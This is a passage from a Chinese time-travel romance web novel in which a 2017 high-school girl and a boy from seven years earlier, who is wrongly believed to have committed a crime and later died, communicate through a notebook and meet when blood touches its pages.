周湜与从小就自由散漫惯了。哪怕周因昌对他严厉,但其实也没有真正管过他。虽然他亲爹看不上他,但周湜与自认为自己没有长成歪瓜裂枣已经很不容易了。
晚上八点半,他做完一套理综卷后关掉了书桌上的灯。
在书包里翻出自己的手机时,蓝色的错题本正好掉出来,摊开在第二页。
周湜与低着头,看到了被自己撕掉的第二页的痕迹。
头顶昏黄的灯光落在他的身上,影子洒在笔记本上,纸页的颜色显得有些泛旧。
周湜与想起了那页日记,想起了那些繁琐啰嗦但似乎是真情流露的句子。
再细想想,或许也不是恶作剧。
他闭上眼睛。里面有一个名字好像频繁出现过好几次。
苏芸。
不熟悉,但似乎绝不是第一次见。
……到底还在哪里听过?
*
桌上的表显示此刻的时间。
「3月4日21:00」
黎遇紧紧捏着日记本,笔
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尖停顿在第二页的中心处。
老师布置的作业她一个字都没写,她此刻心烦意乱,清晨遇到的一切在她的眼前不断重播。
她的腿上放着iPad,屏幕上放大的是一张周湜与当年拿到化学竞赛特等奖的照片。
少年英俊非凡,身姿挺拔,意气风发,如果放在古代,便是满楼红袖招的玉面郎君。
与她今早遇到的人有着一模一样的脸。
可是周湜与早就死了。
他绝对不可能出现在二零一七年。
而她确定,清晨的一切不是梦,不是幻想。
她坐在地上时的冰凉,拿着周湜与外套时的温热,都是实实在在的触觉。
她想让自己平静下来,但脑海中始终一片混乱,她觉得自己的思维变得沉重又迟缓,注意力飘荡在咚咚咚的心脏敲击声外。
黎遇闭上眼睛,使劲儿敲敲脑袋。亮光一闪,她忽地想起来,清早她遇到周湜与时的那家早餐店名字。
唐……
「唐小府豆浆油条」
没错!就是这个名字。
她紧紧抓住这条细线。立刻在页面上输入这几个字。
可是类似名字的早餐店太多,她依旧毫无头绪。黎遇咬着指甲,又加上“锦城”二字,但出现的词条依旧是「锦城必吃的二十样美食」之类的。
她心事重重。手中拿着的笔顿住,笔尖停留在第二页。慢慢地,晕开了一个墨点。
倏然,鸣笛声响起,黎遇探头向窗外看去,两辆车在楼下窄路间相遇,物业的垃圾车占了半条道。那两辆车谁也不让,大灯开启,车头相对,鸣笛声不停。
黎遇捂住耳朵。电钻一般的声音依旧往耳朵里钉。在令人烦躁的杂乱中,黎遇捕捉到其中一条新闻中的三个字。
合滨路。
她急忙点开那条链接。
「新小区落成老牌早餐店无奈搬离。
近日,锦城东片新建住宅小区完工投用,周边临街商铺租金大幅上涨,经营十余年的唐小府豆浆油条店被迫搬离。
店主唐师傅介绍,这家店承载了周边居民的早餐记忆,多年来一直坚持现炸油条,现磨豆浆,具有当地特色的鸡蛋灌饼手艺更是广受好评。他坦言,新小区建成后,商铺租金翻倍,他们实在无力承担。
不少老顾客得知消息后,纷纷前来告别,希望邓师傅能尽快找到合适的新址,延续这份烟火气。」
最下面写着报道日期。
2012年4月2日。
黎遇点开一张模糊的小区大门照片。正在加载的圆圈转了几秒,图片放大。是他们现在住的小区,观澜院。
而那小店门头黄字红底,被烟熏得有些泛黑,也有些褪色,门口放着一口黑黝黝的大铁锅,摆着四把椅子。
她还记得,他们家搬进来时也是二零一二年,是她刚结束初一的那个暑假。
也就是说,这家早餐店跟周湜与一样,不该在二零一七年与她相遇。
黎遇摸着日记本,指腹贴上去,能感觉到纸张微微的粗糙感,她的心跳在一点点加速。楼下,小区保安正在协调两辆车缓行离开。
她盯着左上角「周湜与」两个字和那道物理大题。
突然,黎遇猛地把笔尖抬起来,睁大眼睛,看到它一点点渗入她的日记本中。变浅,再变得更浅。
5. 你能看到我吗?
第五章你能看见我吗?
周湜与照旧在太阳完全升起来之前出门跑步。他每天的跑步路线并不是完全一致。今天,在沿着路边拐弯前,他忽地心神一动,顿了一下,换了个方向。
早餐店依旧清晨开门。唐小府豆浆油条店外,一口大铁锅上架着炸油条的细铁丝网,油星子溅在锅沿上结了层浅褐色的薄痂。门口摆着一张塑料长桌,上头放着茶叶蛋蒸锅和热乎乎的豆腐脑,地上竖着一张价格表。
玻璃门开着,透明门帘被撩起来,高高挂在门两侧,店家侧身站在店里,在白色瓷碗中打下三枚鸡蛋,快速搅动,见周湜与经过时慢下脚步,便招呼道:“小伙子,吃不吃鸡蛋灌饼?还有黑米粥,都是刚做好的,还热乎呢!”
周湜与停下来。
店铺窗上蒙着一层薄薄的水汽。昨天的那个小女孩儿今天扎着羊角辫,她妈妈喊她,“彤彤,不许穿那么少就往外跑!”
他摆摆手,转身向回跑去。
今天是语文早自习。天都没完全亮,班里比外面更昏昏沉沉。高三开始,语文课对于大多数学生都是补习其他科目或是补觉的好时候。
周湜与照例准备去刷套数学选择题,手指却下意识停留在了他的蓝色错题本上。
他抽出来,又一次翻开。昨天,他没有在上面在添加任何文字。此刻,上面多了一个墨点。
*
三月七日,周二,高三的学生们刚刚结束物理补习课。
此时已近晚上八点。黎遇书包背在身前,紧紧抱着,随着人流一起往校外走。这是苏芸自杀的第九天,也是她遇到疑似周湜与的第四天。
她尽量让自己不去想那个已经死去可怕的魔鬼,不去想哥哥为好友不明不白死亡的那些控诉,可是——
“黎遇,黎遇!”
她回头。班主任正站在办公楼门口的第三级台阶上,冲她招手。她穿过人群小跑过去,“徐老师,您找我?”
“嗯,警察来了,有点儿事情想跟你确认一下。”
黎遇立刻停下步伐,脸色变了,“怎么了,是苏芸老师的事情有什么问题吗?她不是自杀?”
“不是,你别担心,只是一个简单的问题。”
她们走进副校长办公室。
一个穿制服的警察正坐在张校长斜对面的单人沙发上。余珂也在,她双手紧紧交握着,直挺挺地在一把铁椅子上立着,见黎遇出现,露出一个局促的笑容。
“黎遇,这是赵警官,你们应该见过的。”
“您好。”
“快坐吧,因为你和余珂是报案人,所以想请你们再过来一趟。”
黎遇在余珂身侧坐下。
“你们那天发现苏芸的时候,有没有注意到她的办公物品中有一个A4纸大小的本子?”
“本子?”黎遇摇摇头,“当时我们吓坏了,只敢往里面走了两步,也没注意到什么……”
“没关系,也很正常。”
警察语气和蔼,但黎遇犹疑一下,却追问:“请问是什么样子的本子?”
对方看了一眼张校长,才道:“一个棕色牛皮本,上面印着一只蝴蝶。”
“……是苏芸老师的东西被偷了吗?”
“不一定是被偷,只不过我们在整理她的遗物的时候,同一办公室的行政老师说苏芸有一个牛皮本,保护得很好,几乎从不离身,据她自己曾经说,是她的日记本——现在,这个本子不见了。”
“你们查过监控了吗?”
“查过了,没什么发现。”
“原来如此啊……”
“黎遇对苏芸老师很关心嘛?”
她抬起头,见警察正微笑地盯着自己。
她心念动了动,撇过眼,稍稍压了压自己方才的急切,坦荡回答,“没错,这件事情发生后,很多同学议论纷纷,我也才了解了很多关于苏老师的事情,同为女性,我很同情她。”
警察颔首,“不论如何,谢谢你们的配合,很晚了,回家吧。”
黎遇二人跟着班主任走出办公室,迎面遇到哭天抢地的一家人,那四人穿得灰扑扑的,老头老太太哭得没了力气,瘫在地上。徐老师走远后才解释道:“那是苏芸的父母和哥哥嫂子,他们每天都来,你看,连媒体都叫上了。”
“为什么?”
“傻孩子,他们对学校给苏芸的人道主义慰问金不满意呀。”
“哦……”
黎遇点点头,在转角处时,回头再一次望向那哭作一团的家人。
她和余珂在公交车站告别。学生陆陆续续乘车离开。旁边两个同校的男生的交谈声逐渐清晰。其中高个的那个提起了二零一四的MH370航班失踪事件,明日将是整整三周年的日子,他瞪着眼睛信誓旦旦表示自己看了纪录片,坚信那座飞机已经载着乘客穿越了虫洞,飞回了五十年前。
“瞎扯。”
另一人说。
“你不信?”
“当然不信,怎么可能有时空穿越?别逗了。”
黎遇暗自表示赞同,但想起昨日发生的事情,还是克制不住地再度心惊肉跳。正巧33路公车缓缓驶来,她急忙冲回家,砰地关上卧室门,把蓝皮本从最下面的抽屉里找出来。
翻开。
时空穿越四个字让她的脊背发凉,耳膜中轰鸣声,仿佛远处有惊雷。
周湜与写下的每一个字都用力地穿透纸背。中性笔吐墨不均匀,黎遇再使些力气,那些墨迹浓重的横撇竖捺的黑色印记甚至能沾在她的指腹上。
如果自己能看见他写下的字,那么或许他也能看自己的。
天方夜谭。
这压根就绝无可能。
黎遇一边这样告诉自己,一边不可避免地在脑中闪现与自己相遇的早餐店,周湜与,以及还没有建成的观澜院。
不可能概率事件却牵引着无数实实在在的证据。
可是,再普通不过的本子,真的能够一面链接着活在二零一七年的她,一面连接着已经被判处罪行的七年前的周湜与吗?
黎遇深呼一口气。在纸页上面写下六个字——
「你能看到我吗?」
*
春天还没到,周湜与就嫌热,他穿了条短裤,窝在沙发一角,咬着鼻尖,对着最后一道函数题的最后一问拧起眉,过了一会儿,他刷刷几道线,把自己刚才的思路全盘推翻。
他抬起头,笔在手心像是罗盘一样转了一圈又一圈。
沙发墙旁边放着一个书架,最上层放着几张宣纸,他之前几乎没有注意过,这一次他拿出来看了看,上面龙飞凤舞写着“左牵黄右擎苍”的草书,下面一张是同样文字的楷书,然后是行书,最后一张是隶书,每一张左下角的落款都写着三个字,“周因昌”,原来全是出自他爸。
周湜与这儿子当的实在对他爸知之甚少,竟然第一次知道他还会书法。
手边的沙发
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在震颤。黎彦尧来电。
他把宣纸塞回去,接起电话。
黎彦尧的声音传来,“英语卷子写完了没?”
“写了。”
“发来借我抄抄。”
“行。”
黎彦尧在那头“谢”字还没说出口,就突然高声道:“哎,不许玩水!摔倒了不许来找我哭!”
周湜与一边低头重新解题,一边不由笑道:“教育孩子呢?”
一提这个,黎彦尧长吁短叹,“兄弟,你说咱们认识这么多年,我也算是循规蹈矩吧?”
周湜与乐了,“难说。”
黎彦尧当没听见他的嘲弄,继续道:“我爸我妈也是老实守法的好公民,怎么就基因突变生出我妹妹这个混世魔王呢?你没看见那天她把他们班那个小男孩儿揍得呀,哎呦那张脸真可怜……不过那男孩儿也真够笨的,个头比我妹还高,结果能让我妹骑在身上暴揍一顿根本还不了手,啧啧啧,我那妹妹妹愣是一点儿伤没受。”
周湜与抬起头,隐约想起自己上次见到他妹妹还是几年前。长什么样子早都忘了,但就记得眼睛炯炯有神,格外神气。
“你妹多大来着?”
“十一岁——这才上小学五年级啊,以后怎么管?”
黎彦尧的声音听上去痛心疾首,周湜与忍不住提醒他,“我记得你上小学的时候也挺混蛋的。”
遥记当年他们俩也是刚上学没多久打了一架才不打不相识的。后来也没少被叫家长,不过一般出了事,主犯都是周湜与,所以显得黎彦尧倒是乖巧不少。
黎彦尧在这边跟他抱怨,那头听上去还在管着妹妹,“妈妈叫你罚站就站好,你靠在墙上快睡着了算怎么回事儿!”
“不许顶嘴!你是哥哥还是我是哥哥?”
“曈曈!”
周湜与的手机贴在耳边,听到最后两个字,太阳穴莫名跳动了一下。
“你妹叫什么?”
“大名黎遇,小名曈曈——怎么了?”
周湜与抬起眼,电视机上的新闻频道正在播放着即将到来的二零一零年上海世博会墨西哥场馆主题——
「据了解,本次世博会墨西哥场馆的主题为传承历史,面向未来。以风筝为核心主题,场馆内部,由投影投下不断运动的元素,让参观者站在现实的窗户前,亲临墨西哥的过去城市风貌,展望未来的期待。」
过去。现实。未来。
周湜与的呼吸有点儿急促,“Tong?哪个字?”
“日字边,千门万户曈曈日的曈。”
第一页纸上的花里胡哨的太阳还没有被他撕掉。
周湜与看着「曈曈的秘密」五个字面色微变。
——那天早上奇怪的女孩儿那张酷似黎彦尧的眉眼,她听到别人唤出“彤彤”二字的反应,以及突然的消失……
某些跳动的碎片在周湜与的脑中忽然由一道细线连在一起。
他闪过一个绝无可能发生的想法。
周湜与觉得自己可能是疯了。
他在这边许久不出声,快步走到沙发边把自己的错题本找出来。
黎彦尧跟妹妹又说了几句话,才对着手机重新道:“来场游戏吗?”
周湜与用笔头敲敲面前的本子,“不来。”
头顶老旧的吊灯快速闪动了几下,他下意识抬头眯起眼睛抬头看去,再低头时,本子上多了六个字。
「你能看到我吗?」
6. 另一时空
第六章另一时空
“我去……”
周湜与脑袋“轰”地一声。手心不可抑制地开始出汗,肌肉发紧,一股无形的力量将他禁锢,谜团逐渐压制他的全身。
他将笔尖戳进自己的指尖,刺痛感让他清醒异常。他费了好大功夫才没让自己把这本子扔出去。饶是胆子再大,他此刻心脏也骤然在停窒后跳动得异常剧烈。
“咋了?”黎彦尧在电话那头问。
周湜与再一次将目光投向电视机。六个字在纸上留下凹凸不平的痕迹,这让他前所未有的紧张后意识到自己面对着不是一个简单的本子,而是一个人。
一个与他同龄,却不在同一个时空下同龄的女孩。
惊撼从周湜与的脊背向上窜。
如果他此刻听得再仔细些,就能听到儿时的她正在电话那头与自己哥哥顶嘴的声音。
“你怎么了?”黎彦尧又问了一遍。
周湜与格外清楚,他此时此刻没有办法向任何一个人解释他眼前的事情。
他顿了顿,尽量让自己的声音听上去和往常一样吊儿郎当——“我遇到鬼了。”
“真厉害啊……”黎彦尧没好气回答道,“真不打游戏?”
“不打,我还有事儿,挂了。”
周湜与收了线。
思考稍许,在那行字下面写下一个字。
「嗯」
或许黎遇就在对面等待着,几乎是立刻,她乱得飞舞的字迹再一次出现。
「你……你是周湜与吗?」
*
「我是」
看到他的回复,黎遇“啪”地合上本子,把头闷在被子里,她的心脏不断地收紧,哪怕是有心理准备,冷汗也浸湿了后背。
她不知道现在的恐惧与紧张更多是来自自己在与一个七年前的人对话,还是因为这个人是一个令人胆颤的罪犯?
黎遇四肢发麻,小腿肚发软,一动也不能动,她想起哥哥那日不甘相信现实的愤愤目光,抓紧了被子……
在收到周湜与的回复之前,她好像只有期待和亢奋,直到此刻尘埃落定,她获得了一个确定的答案,不安和惊骇才开始慢慢袭来。
她把本子合上,压在抽屉的最底下。
后半夜,她在惴惴中终于入睡。
次日早上终于有又一次翻开那个本子。昨天晚上,周湜与留下一句话。
「你昨天是怎么过来的?」
他问的很简单,却让黎遇浑身顿时一僵。
周湜与太聪明了。这才不过一天,他就猜出来昨日清晨遇到的人就是日记本另一头的自己。
可问题是,她的确不知道自己是如何短暂地穿回七年前的。黎遇敲敲脑门,走出卧室。哥哥今早没课在家,她经过厨房时,余光扫到他正坐在书桌前沉默地盯着桌上的相框。
“哥……”
黎彦尧抬起头,揉了揉眼眶,“嗯,起床了?”
黎遇走过去,看见那是照片中是高中时的哥哥,那是一张六个少年的合照,中间最打眼的那个正是冲着镜头露出笑容的周湜与。
很飞扬,很阳光。
想到昨日的初遇,其实他是好意救了自己一把。如果没有那些伤害与死亡,在她看来,周湜与就是一个十足的天之骄子。前路一片坦途,即使人生偶尔失意,也不会永远落入低谷。
“不对不对……”
思及此,黎遇狠狠拍了拍自己的脸蛋。
不能同情坏人,更不能同情男人。
不然会倒大霉。
黎彦尧抬起头,看着妹妹一会儿露出笑一会儿皱起眉,现在又开始敲打自己,“哎,大早上的还没睡醒呢,要不要我替你打?我力气大,免费。”
“讨厌。”
黎遇抬起手,对着他的后背就毫不客气地给了两巴掌。
早餐。
黎遇坐在哥哥对面,抢过他面前烤的最好的那片面包,覆上一层草莓酱,最终还是忍不住含含糊糊地问:“哥……那如果能够回到七年前,你会做什么?”
黎彦尧耷拉着眼睛,兴致缺缺地,“你最近对周湜与很感兴趣。”
“哎呀。”黎遇故作轻松道:“出了这么大的事情,我当然有好奇心啦。”
幸好他没再质疑她天马行空的问题,也许是这样的问题他在这些年也无数次地问过自己,他把牛奶表面的泡沫吹开,“如果能回到七年前,我会让周湜与高考的时候不要住校,只要他不出现在宿舍里,就什么都不会发生……”
“为什么?”
“为什么?因为那件事情不是他做的,我对苏芸的遭遇表示同情,可我不能理解也不能原谅她陷害一个已经惨死的人。”黎彦尧抬起脸,神色冷冰冰的。
“你坚信凶手另有其人吗?”
“对。”
“那么真的凶手岂不是逍遥法外?”
黎彦尧沉下目光。
黎遇轻轻地皱起了眉头,心脏又开始狂跳。哥哥回头看向她,“曈曈,如果换作是我,死的人是我,新闻上报道的认识我,你会相信那不是我做的吗?”
“会。”
她十分肯定。
不需要理由,不需要解释。
什么都不需要,她信任他,也信任自己的信任。
“所以我也是。”黎彦尧长叹一口气,“他是我认识十多年的朋友,我了解他——说来,你小时候还见过他呢,不过估计你这个小没良心的也不记得了。”
黎遇抬起头,“什么时候,我真的不记得,哥你给我讲讲。”
“你大概四五岁的时候吧,头朝地扎进一个一米高的水桶里,自己爬不出来,当时爸妈不在家,我也没注意,当时周湜与来找我玩,看见你都挣扎得快没气了,一把把你捞出来才让你捡回一条小命。”
黎遇喃喃自语,“我确实没有印象了……”
“当时我也才小学三四年级,特别害怕,至今也没敢告诉爸妈。”
黎彦尧静默良久,把自己从回忆里拉回来,“行了,你现在是高三生,赶紧吃完早饭学习去。我也回学校了。”
黎遇看着哥哥的背影。默默地想,原来周湜与已经救过自己两回。
莫非现在发生在自己眼前的所有事情就像是一个转辙器,原本既定的轨道会被改变方向,彻底朝向一个完全不同的目的地?
难道他真的命不该如此?
*
周湜与坐在市图书馆里。
春初之后,一日暖和胜过一日。阳光透过窗户,铺在他面前的笔记本上,黑色的笔墨晕上金色的光圈。
黎遇在留下两个问题之后,再也没有过任何回复。
几个小时候过去,他已经平静下来,但依旧留有震惊。他本想来图书馆里寻找答案,但当坐在这里,他清醒地意识到,现代科学理论已经可以解释平行时空之类,但无法有人真的相信这会发生在一个普通人身上。
他又留下一串字。
「哎,醒了吗,你那边现在几点啊?」
周湜与本以为会再一次等她很久,但黎遇很快给出回答。
「上午九点二十二分。」
「日期?」
「二零一七年三月五日。」
「看来我们之间相差整整七年」
「所以,关于七年后,你有什么想知道的吗?」
周湜与看着黎遇的问题,了
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然地笑了。没错,他也意识到他现在手握一个不会出错的预言神器,可以知道未来七年发生的一切事情。
有点儿意思。
他略微沉思。
*
「今年NBA总冠军是凯特人么?」
黎遇看到眼前出行的这行字,气笑了。
「你就想知道这个?难道你就不好奇自己的未来吗?」
「提前预知自己的人生?那太无聊了。」
周湜与在七年前龙飞凤舞地写下。
黎遇翻了一个白眼,心道自己可真是皇上不急太监急。因为他们彼此已经知道对方的身份,隔着黎彦尧的关系,又因为是同龄人,两人之间反倒没有任何陌生人之间的隔阂,说话时也简单直接很多。
她讽刺道:「你活得可真刺激。」
周湜与没有再继续这个话题,反而在纸上作起了画。
黎遇认真地看,很快见雏形。他画得真好,是个豆浆油条的简笔画,但惟妙惟肖。
他将画圈起来,在下面问。
「那天早上,我出来时你已经不见了」
「嗯,我回来了。」
「怎么回去的?」
「我不知道。两眼一黑,就突然又回到自己的卧室了。」
「所以……你不知道自己是怎么来的,也不知道是怎么走的?」
「嗯。」
黎遇也思考这个问题很久了,可是她实在不知道那天早上的自己哪个动作触发了这个【穿越】的机关。
不过现在还有更重要的事情,她得想办法确认周湜与究竟是一个什么样的人。
「你现在住在哪里?」
她开门见山。
「宿舍。」
「那你有考虑过搬出去吗?」
「搬出去我住桥洞?」
他怎么不跟周校长住?
黎遇想不通,不过或许自己现在就谈论这个话题太过急切。
她默了默,对周湜与写道。
「我要去写作文了。」
「好」
黎遇花费了四十分钟写完一篇议论文。出去接了一杯水,回来时,在本子上又写道。
「那你想来七年后看看吗?」
如果周湜与真的死得不明不白,对一个十八岁的少年来说,生命戛然而止太不公平,一旦她这一次依旧无法阻止他的死亡,那么至少让他看看七年之后的世界。
如果他真的是十恶不赦的东西,那黎遇会立刻烧了手里的本子。
周湜与不知道干什么去了,直到晚上快八点才出现。
「想」
她便很认真地写下:「我会好好回忆那天早上是怎么回到七年前的。想出来我就告诉你。」
「本子放好,别让人拿走」
「周湜与,你有没有想过,为什么会是我们两个人?」
大概每个十多岁的男生都多少有些中二病,自认自己是那个身负改变世界大任的英雄。周湜与大笔一挥——
「天机不可泄露!」
黎遇小声“呸”了一下,心道怪不得我那个神经病哥哥能跟你玩到一起,果然狐朋狗友。
快睡觉的时候,他在那头又留下一句话。
「我在想,如果我出现在七年后,站在二十五岁的我自己面前,他会不会吓一跳?」
黎遇望着那句话看了好久,直到双眼酸涩。她狠不下心来告诉周湜与即使他真的来到七年后,也永远无法与二十五岁的自己面对面。
她放下笔,银色的笔身映照上了盈盈光彩。
黎遇以为那是月色,抬起头,才意识到不过是头顶的灯光。
今天也是一个阴天。
7. 第二次见面
第七章第二次见面
最后一节数学课结束,班主任走进班里,戒尺敲敲铁门,班里稍微安静了一些,大家抬起头向老师看去。
“月考卷子批完了,来几个学生,去办公楼把全年级的试卷拿回来。”
大家立刻噤了声,左看看右看看,琢磨老师表情,应该是没考好。
黎遇这次考了年级七十八名。理综都没写完,化学成绩惨不忍睹,放学后,她留在班里更新自己的错题笔记,又抱着本子去找楼下办公室找化学老师。
再出来时,已经晚上六点十分。
整个教学楼A,除了零星几个老师的交谈声,静悄悄的。
*
五点半,最后一堂自习课铃声响起。
周湜与是今天的值日生,女生们扫地,他负责留到最后拖地,在卫生间把水倒掉,提着空水桶独自往回走。
脑子里还是那个破本子。
走廊尽头,最靠近卫生间的教室是空的,常年没人用。他刚刚走过,就听见里面传来隐约的抽泣声。
周湜与以为自己听错了,停下脚步。
空教室传来的声音刻意压低了些。
“……你他妈还哭?你是个男人吗?”
他返回去,顺着窗户向里看去。周一国旗下演讲时,教导主任再三勒令决不允许出现校园欺凌等问题,如果发现,立刻记大过或者直接开除。在周湜与以前的印象里,他就压根从没见过类似一群人围着一个人暴打的情况,更没想过还有人真的硬生生扛着被揍一点儿都不反抗的。
今天还就见到了。
他把水桶放下,敲了敲窗户。
里面一共五个人,他们停了手,回头。
高中每个年级的校服略微有些区别,看样子,这几个打人的是高二的,挨揍的小个子男生是高一的。
他招了招手,示意他们出来。
最中间的那个打量了他一番,见对方倒是个高,但也就一个人,于是无所谓地吐出两个字。
周湜与没听见,但看口型应该是,傻逼。
说完那人就扭头又给了那男孩儿一巴掌。
门被紧锁着,周湜与把窗户打开,翻身跳进去。
那几个人见他这么轻巧单脚踩在地上,中间那个把校服脱了,一卷袖子,终于怒道:“你他妈谁啊?”
周湜与露出笑容,拍了拍蹭在手上的墙皮灰。
“我是雷锋。”
旁边坐着的凑过去小声辟谣,“高三的,他叫周湜与。”
显然“周湜与”这个三个字在二中还算如雷贯耳。
对方又重新认真从头到脚地观察了他一番,低声道:“这是我们自己的事,别人少管。”
被打的那个男孩儿已经满脸是血,正哆嗦着望向周湜与。
只见他摇摇头,“亲爱的学弟们,看来你们还是不够了解我,我这个人最爱的就是多管闲事,如果你们能现在就滚,这事儿就这么着了。”
对方冷笑,“那他欠我们的钱,你替他还?”
周湜与转头看向那哆哆嗦嗦的男孩儿。
“我、我没有欠钱,是你们……”肿了半边脸的高一学生抽搭着嗫嚅。
周湜与抱歉地抱着臂,“我也穷光蛋一个。”
“不如你替他挨揍?”
“那要看是谁挨揍了。”周湜与稍微站直了一些,轻松笑笑,把身后的凳子往旁边推了推。
*
周湜与回到了教室。
他右手骨节破了,血流不止,其余地方倒还好。用黎彦尧的话来说,他最近两年妇男从良,打架之类的早都手脚不利索了。但周湜与转了转手腕,心道,真该给那四个草包滚在地上的时候拍张照片,留个念,以证明自己还宝刀未老。
他低头,把书桌里的蓝皮包掏出来。翻开,对面的黎遇和自己的对话戛然而止在昨晚,在他有些异想天开的提问之后,她再也没有回复。
“嘶……”
周湜与看了一眼自己的右手,血还没止,因为自己的动作,顺着手背往下滴。两滴落在蓝皮本上。
“啧。”他忙用校服衣袖去蹭,可血已经彻底渗了进去,恰好落在黎遇写下的几行字上,他皱了皱眉头。
正想拿起笔跟她说声抱歉时,只觉脑袋好像又被人重重一击,尚未反应过来,眼前已是一黑。
*
一楼都是文科班,离门口最近的那个教室空了好几年。
黎遇从办公室出来后路过,忽然听见里面“砰”地一声。
凳子脚刺啦划过地板,有些刺耳。她犹豫了一下,还是走过去轻轻推开后门,往里探头。
一个穿校服的学生摔倒在两张长桌间隙。看不到脸,但伸出来的两腿很长。
她敲了敲门,小声问:“需要帮忙吗?”
只听那人长叹了一声,两个胳膊肘分别搭在前后两个桌子上,慢慢地,上半身弹起来,露出一整脸。
黎遇走近了两步,又立刻退了回来。
在那人抬头看向她的时候,她不可置信,“周、周湜与?”
五分钟后,黎遇从班里的柜子中找了个常年没人要的黑色棒球帽,重新偷偷摸摸地走进那间空教室。
“给。”
“干嘛?”
“戴上。”
她小声说,小心望了一眼窗外。
周湜与没说别的,把帽子戴头上,才晃了晃自己的右手,“我以为你是去给我找创可贴的。”
“……”黎遇睁大眼睛,心想这人还口是心非,“我刚才要给你找,可你不是说你随便蹭蹭就行了吗?”
他撇眼看她,叹口气。
“所以——你找到来这里的方法了?”
“没有。”
周湜与展开手掌,让自己的骨节尽量活动,骨头咯吱作响,黎遇分心,忍不住扭头盯着看了一会儿。
血……
与清晨日出时的眼光交叠,各种红光重合再一次。
她刹那间想起什么,蹭地站起身,“血?你是不是把血沾到本子上了?”
“没错。”
“我也是,那天我的手指被划伤了,然后我就出现在你的面前了。”
周湜与轻眨了一下眼睛,扭头看向讲台上方的时钟,“所以,你的意思是,血滴在本子上,就能穿梭时间了。”
“我觉得肯定是这样!”
黎遇有些兴奋,说着就要咬破自己的手实验。
“哎!“周湜与抬手拦住她。
松松地,只是稍微触碰了一下她的手背。可黎遇却像是触电了一样地立刻甩开他,眸子中全是无法抑制的防备。
他愣了一下,低头道了声抱歉,才说:“我才来,你走了我去哪里?”
黎遇很尴尬,搓了搓手心,点点头,也说:“哦,你说得对……不然我过去也一样,谁都不认识,连手机都没有。”
周湜与站起来,拍了拍腿上的灰,好奇地扫视了一番周围,“我没想到来得这么顺利,要不出去看看?”
“不……不行。”
黎遇跳起来,挡在门前,“你要去哪儿啊?学校跟七年前没什么大变化。”
“那我出学校
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。”
“那也不行!”她双手张开,摇摇头,“绝对不行!”
周湜与垂眸看她,皱起眉头,“为什么?”
她吞了吞口水,“你先坐下。”
他没说别的,坐回去。
黎遇松了口气,坐在她对面,拿出手机,搜索一通后,严肃开口,“周湜与。”
“在。”
他懒洋洋的。
“我给你看一个东西,你要答应我,看完之后,你得冷静,得留在这个教室里,还有……得把我的手机还给我,我现在就这一个手机,妈妈说高考之后才给我买新的。”
他随意点点头。显然不大相信她能给自己看什么不得了的东西。
“我答应你。”
黎遇把手机递给他。
把那个血淋淋的事实展开在他的面前。
周湜与看了很久。
久到黎遇怀疑他压根不认字,她坐得板正,脖子都僵了,终于忍不住戳了戳他的肩膀。
又戳了戳,“哎,你说话啊。”
他慢慢抬起头,花了时间才找回自己的声音,可也只有六个字。
“这不是真的。”
黎遇认真打量着他的表情。
周湜与的不可置信的震惊是真实的,他的脸上逐渐出现了愤怒,以及……他的眼圈竟然红了。
没人能面对自己的死亡消息。
尤其是在花样年华时的不白之冤。
教室静了下来。
窗外,太阳消失在最远处的那幢楼后,余韵一点点被黑暗吞噬。
“这不是我做的。”他盯着她的眼睛说:“我不认识苏芸。”
在二零一七年,周湜与只认识面前这个女孩儿。
他只能跟他说。
“我、我相信你。”
黎遇点点头。
所以,她的信任对他特别重要。
“真的,不然我也不会给你看这些,还有我哥哥,他对你的死没办法释怀,就算不相信你,我也相信他交朋友的眼光。”
在再一次面对面直视周湜与后,黎遇比之前更加相信凶手另有其人。
瞬间的真切反应骗不了人。
她握着拳头,紧张地在教室里走来走去,“所以也就是说,那个真的伤害过苏老师的人根本没有受到任何惩罚,七年过去,他可能还活得好好的——对了,苏老师在自杀之后有个印着蝴蝶的牛皮本不见了,我们是不是应该找到它?还有,她留下了三个字,‘对不起’,你说这是对谁说的?”
没有人回答。
黎遇回头。
可教室里已经空荡荡。
连带着刚才给他的帽子一起,周湜与消失了。
她抿抿唇,抬头看向墙上的表。
*
黎遇回到家,吃了饭做完一套试卷,把日记本拿出来。
对面一片空白。
她忍不住问:「你还好吧?」
等了一会儿,那边写下两个字。
「还好」
黎遇不知道该说什么,她想安慰他,但不知道该说什么,只好在他那句话的后面认真画了一个小眼睛。意思是已读。
快到十一点的时候,那边来了一条消息。
「你知道我的墓在哪里吗?」
看到这句话,黎遇心里一阵酸涩,把位置写下来。
大概两三分钟后,那边说:「现在这里还是荒地」
门外,妈妈在催她睡觉。
她又问:「我们还能见面吗?」
「我可以你一起跟你去墓地。」
8. 误会
第八章误会
周六,三月十一号。
黎遇早早起床,独自踏上前往周湜与的墓地。
根据新闻上的寥寥数语,他被政府统一安排在锦城郊外楠山脚下的一片荒地下。
周校长——现在的周主任,或许是不愿承认自己的亲儿子做出了这么为人不齿的事情,当年连他下葬的事情都不肯多管。周湜桉的墓和那些死在医院无家属认领的病尸一样,只竖起了一根石头牌子。上面写着他的名字和去世时间,和一张模糊的十七岁照片。
除了远处偶尔来往的几辆车,初春早上太过安静,黎遇站了一会儿觉得害怕,便很快离开。
附近这条路是刚修没几年的国道,因为路的方向正对着远处锦城楠山,楠山虽不高,但绵延起伏,路尽头的那一段正好宛如睡佛。两年前,一摄影师在雨后来此地拍摄,照片发到网上后,点赞量高居不下,后来,天气好时,许多人来这里拍照。路对面孤零零地开了一家朱红色顶的咖啡馆也因此名气大涨。
咖啡馆也有个好名字,叫好运。
黎遇推开好运的门,里面只有零星两三个人。
“你好,一杯抹茶拿铁,要热的。”
“您稍等。”
黎遇站在取咖啡处。身旁两个女孩儿拿着拍立得,兴致勃勃地轻轻甩着手中的相片,直到人像完全显现。
“快看快看!照清楚了没有?”
她们把头凑在一起,“好帅啊,他一进来我就脸红了。”
“哎呀,你看,你的头挡住了一半。”
“我不挡着,你敢正大光明地拍人家?”
“真可惜,没好意思要联系方式……”
咖啡馆的一整面右墙都是用来贴便利贴和相片的地方。在这里,购买一杯咖啡,可以免费拍张照片和留下心愿,贴在墙上。两个女孩儿签上自己的名字,然后把相片用粉色的塑料钉子钉在墙面的正中央。
黎遇好奇,在她们走后,也忍不住踮着脚尖去看。
光阴微暗,她眯起眼睛。
“美女,您的抹茶咖啡好了。”
“美女?”服务员慢慢点点桌子。
黎遇回过神来。
